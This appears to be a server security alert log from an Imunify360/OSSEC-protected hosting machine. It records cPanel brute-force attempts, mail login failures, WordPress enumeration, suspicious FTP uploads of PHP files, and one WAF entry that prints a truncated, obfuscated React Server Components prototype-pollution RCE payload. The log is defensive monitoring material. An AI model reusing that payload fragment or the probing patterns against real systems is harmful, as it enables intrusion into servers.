[2026-06-13 05:51:52 +0000] info [cpaneld] 212.237.120.169 - kpmg "GET /login/?login_only=1&user=kpmg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 13 05:51:59 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.115.223.175
country_id: 2542007
description:
[2026-06-13 05:52:00 +0000] info [cpaneld] 196.115.223.175 - kpm "GET /login/?login_only=1&user=kpm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kpm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.165.207.53
country_id: 3469034
description:
[2026-06-13 05:51:49 +0000] info [cpaneld] 45.165.207.53 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.10.141.230
country_id: 3895114
description:
[2026-06-13 05:52:03 +0000] info [cpaneld] 186.10.141.230 - kp "GET /login/?login_only=1&user=kp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kp (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.7.47.76
country_id: 3865483
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/albums/page/5 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 13 06:00:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:06:04:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908782&pdata=http%253A%252F%252F1l7yem.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781330658 HTTP/1.1" 302 0 1l7yem.mediatopnews.tg "http://1l7yem.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 13 06:05:34 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.128.39.206
country_id: 3686110
description:
[2026-06-13 06:07:45 +0000] info [cpaneld] 181.128.39.206 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.0.99.117
country_id: 3469034
description:
[2026-06-13 06:07:59 +0000] info [cpaneld] 138.0.99.117 - maci "GET /login/?login_only=1&user=maci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.115.136.69
country_id: 798549
description:
[2026-06-13 06:08:01 +0000] info [cpaneld] 79.115.136.69 - mac "GET /login/?login_only=1&user=mac&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mac (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.85.3.215
country_id: 3865483
description:
[2026-06-13 06:08:04 +0000] info [cpaneld] 191.85.3.215 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-06-13 06:09:07 dovecot_login authenticator failed for H=(bl23-64-8.dsl.telepac.pt) [203.252.10.3]:58717: 535 Incorrect authentication data (set_id=dev@soena.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.162.11
country_id: 1880251
description:
104.28.162.11 - - [13/Jun/2026:06:08:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9936330&pdata=https%253A%252F%252Fdankpen1.mairie.tg%252Fadministration%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781330917 HTTP/2.0" 302 0 dankpen1.mairie.tg "https://dankpen1.mairie.tg/administration/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.162.11


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.252.10.3
country_id: 1835841
description:
Jun 13 06:09:05 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.252.10.3 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.20
country_id: 6252001
description:
205.169.39.20 - - [13/Jun/2026:06:12:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999007&pdata=http%253A%252F%252Fwww.snb-togotg.snb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781331154 HTTP/1.1" 302 0 www.snb-togotg.snb.tg "http://www.snb-togotg.snb.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.20


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 13 06:13:46 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.163.4.16
country_id: 1880251
description:
43.163.4.16 - - [13/Jun/2026:06:15:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12742859&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftelecoms-yas-togo-decroche-deux-trophees-internationaux-pour-ses-performances%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781331355 HTTP/1.1" 302 0 togodailynews.tg "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.163.4.16


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 13 06:19:11 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.23.104.18
country_id: 6252001
domain: sodigaz.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.15||T:APACHE||REQUEST_URI:/web/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.70.11.90
country_id: 1643084
description:
[2026-06-13 06:24:48 +0000] info [cpaneld] 36.70.11.90 - 2002281 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.155.55.78
country_id: 2542007
description:
[2026-06-13 06:27:04 +0000] info [cpaneld] 105.155.55.78 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 145.239.138.189
country_id: 3017382
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/wp-json/wp/v2/posts HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.17
country_id: 798544
description:
Jun 13 06:32:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 13 06:32:47 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.124.167.127
country_id: 3469034
description:
[2026-06-13 06:34:49 +0000] info [cpaneld] 200.124.167.127 - la "GET /login/?login_only=1&user=la&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user la (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.78.67.170
country_id: 3686110
description:
181.78.67.170 - - [13/Jun/2026:06:34:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804957&pdata=https%253A%252F%252Ftogodailynews.tg%252Felectricite-des-coupures-annoncees-du-26-au-30-mars-a-lome-les-efforts-pour-un-retour-a-la-normale-sintensifient%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781332463 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/electricite-des-coupures-annoncees-du-26-au-30-mars-a-lome-les-efforts-pour-un-retour-a-la-normale-sintensifient/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2577.1891 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.78.67.170


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.24.16.191
country_id: 1210997
description:
[2026-06-13 06:34:27 +0000] info [cpaneld] 103.24.16.191 - launetogotg "GET /login/?login_only=1&user=launetogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user launetogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.232.245.26
country_id: 3469034
description:
[2026-06-13 06:34:42 +0000] info [cpaneld] 45.232.245.26 - laun "GET /login/?login_only=1&user=laun&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user laun (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 132.255.113.33
country_id: 3865483
description:
[2026-06-13 06:34:21 +0000] info [cpaneld] 132.255.113.33 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.165.224.73
country_id: 2017370
description:
[2026-06-13 06:34:23 +0000] info [cpaneld] 5.165.224.73 - launetogo "GET /login/?login_only=1&user=launetogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user launetogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.203.132.241
country_id: 3996063
description:
[2026-06-13 06:34:35 +0000] info [cpaneld] 189.203.132.241 - launet "GET /login/?login_only=1&user=launet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user launet (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun 13 06:36:11 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-13 06:36:13 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:65137: 535 Incorrect authentication data (set_id=abcde12345)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.234.202.15
country_id: 1210997
description:
103.234.202.15 - - [13/Jun/2026:06:36:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7170964&pdata=https%253A%252F%252Ftogodailynews.tg%252Felectricite-des-coupures-annoncees-du-26-au-30-mars-a-lome-les-efforts-pour-un-retour-a-la-normale-sintensifient%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781332600 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/electricite-des-coupures-annoncees-du-26-au-30-mars-a-lome-les-efforts-pour-un-retour-a-la-normale-sintensifient/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.7984.1544 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.234.202.15


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.174.145.35
country_id: 1269750
description:
Jun 13 06:38:04 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.174.145.35 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.145.35
country_id: 1269750
description:
2026-06-13 06:38:06 dovecot_login authenticator failed for H=([49.124.152.158]) [103.174.145.35]:38509: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 114.130.98.27
country_id: 1210997
description:
114.130.98.27 - - [13/Jun/2026:06:40:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923945&pdata=https%253A%252F%252Ftogodailynews.tg%252Fdysfonctionnement-de-la-plateforme-de-gestion-de-voyage-le-gouvernement-donne-des-raisons-et-rassure-les-voyageurs%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781332815 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/dysfonctionnement-de-la-plateforme-de-gestion-de-voyage-le-gouvernement-donne-des-raisons-et-rassure-les-voyageurs/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.7923.1861 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:114.130.98.27


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 13 06:40:49 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.32
country_id: 3175395
description:
Jun 13 06:43:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.32 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.134.65.138
country_id: 1880251
description:
43.134.65.138 - - [13/Jun/2026:06:43:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6591900&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftogo-3-nouveaux-cas-confirmes-portant-a-76-le-nombre-total-de-cas-confirmes-a-ce-jour%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781333010 HTTP/1.1" 302 0 togodailynews.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.134.65.138


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.186.54.65
country_id: 298795
description:
Jun 13 06:43:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.186.54.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.186.54.65
country_id: 298795
description:
2026-06-13 06:43:59 dovecot_login authenticator failed for H=(ipmapt-72-195-114-165.oc.oc.cox.net) [78.186.54.65]:55824: 535 Incorrect authentication data (set_id=dev@dany2.mairie.tg)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 62.60.131.165
country_id: 130758
domain: c2ie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users?per_page=100&_fields=slug,locale||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.80.153.246
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:06-46.23.80.153.246||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 13 06:46:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 06:49:59 ns5 pure-ftpd[2227251]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/tg.php uploaded  (0 bytes, 0.00KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.107.168.255
country_id: 2921044
description:
2026-06-13 06:49:27 dovecot_login authenticator failed for H=static.255.168.107.91.clients.your-server.de (91.107.168.255) [91.107.168.255]:43542: 535 Incorrect authentication data


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
description:
Jun 13 06:53:02 ns5 pure-ftpd[2228895]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [INFO] Can't change directory to /home/zmmjcejv/public_html/index.php: Not a directory


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 06:52:20 ns5 pure-ftpd[2228540]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/tg.php uploaded  (511827 bytes, 757.18KB/sec)


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: recorvery.lacs1.mairie.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"data_712ffa2c\":0,\"_response\":{\"_prefix\":\"var iy=arguments['\\\\x31'];var xlqt=iy;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"ffe\\\",\\\"r\\\


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 06:53:45 ns5 pure-ftpd[2229226]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/index.php uploaded  (767 bytes, 6.78KB/sec)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 06:54:56 ns5 pure-ftpd[2229863]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/index.php uploaded  (767 bytes, 6.79KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 13 06:54:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 11314
name: FTP file deleted from server
description:
Jun 13 06:55:25 ns5 pure-ftpd[2230162]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] Deleted //home/zmmjcejv/public_html/index.php


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
description:
Jun 13 06:55:37 ns5 pure-ftpd[2230231]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [INFO] Can't change directory to /home/zmmjcejv/public_html/launetogo.php: Not a directory


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 06:56:34 ns5 pure-ftpd[2230632]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/wp-admin/network/launetogo.php uploaded  (0 bytes, 0.00KB/sec)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 06:59:13 ns5 pure-ftpd[2231733]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/.htaccess uploaded  (2254 bytes, 19.93KB/sec)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.46.164.236
country_id: 3865483
description:
[2026-06-13 07:00:54 +0000] info [cpaneld] 181.46.164.236 - ciieeinternat "GET /login/?login_only=1&user=ciieeinternat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.121.124.98
country_id: 1522867
description:
[2026-06-13 07:01:06 +0000] info [cpaneld] 87.121.124.98 - ciieeinter "GET /login/?login_only=1&user=ciieeinter&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinter (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 223.24.93.157
country_id: 1605651
description:
[2026-06-13 07:00:25 +0000] info [cpaneld] 223.24.93.157 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.80.108
country_id: 1512440
description:
[2026-06-13 07:00:30 +0000] info [cpaneld] 213.230.80.108 - ciieeinternational "GET /login/?login_only=1&user=ciieeinternational&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternational (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.24.119.253
country_id: 2017370
description:
[2026-06-13 07:00:37 +0000] info [cpaneld] 95.24.119.253 - ciieeinternationa "GET /login/?login_only=1&user=ciieeinternationa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternationa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.246.170
country_id: 1733045
description:
[2026-06-13 07:00:50 +0000] info [cpaneld] 180.75.246.170 - ciieeinternati "GET /login/?login_only=1&user=ciieeinternati&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternati (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.179.72.76
country_id: 2542007
description:
[2026-06-13 07:01:08 +0000] info [cpaneld] 160.179.72.76 - ciieeinte "GET /login/?login_only=1&user=ciieeinte&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinte (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.6.124.159
country_id: 2017370
description:
[2026-06-13 07:00:40 +0000] info [cpaneld] 185.6.124.159 - ciieeinternation "GET /login/?login_only=1&user=ciieeinternation&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternation (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.181.121.62
country_id: 3895114
description:
[2026-06-13 07:00:58 +0000] info [cpaneld] 45.181.121.62 - ciieeinterna "GET /login/?login_only=1&user=ciieeinterna&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinterna (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.136.148.214
country_id: 99237
description:
[2026-06-13 07:00:34 +0000] info [cpaneld] 185.136.148.214 - ciieeinternationalorg "GET /login/?login_only=1&user=ciieeinternationalorg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternationalorg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.243.197
country_id: 1733045
description:
[2026-06-13 07:01:14 +0000] info [cpaneld] 180.75.243.197 - ciieein "GET /login/?login_only=1&user=ciieein&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieein (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.88.123
country_id: 1512440
description:
[2026-06-13 07:01:22 +0000] info [cpaneld] 213.230.88.123 - ciiee "GET /login/?login_only=1&user=ciiee&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciiee (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:05:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:23560: 535 Incorrect authentication data (set_id=banned@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:05:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:39520: 535 Incorrect authentication data (set_id=web15@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:05:54 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:05:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:05:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:50336: 535 Incorrect authentication data (set_id=itest@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:05:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:06:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:46184: 535 Incorrect authentication data (set_id=podium@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:06:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:35364: 535 Incorrect authentication data (set_id=preston@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:06:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:06:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:19442: 535 Incorrect authentication data (set_id=sauvegarde@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:06:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
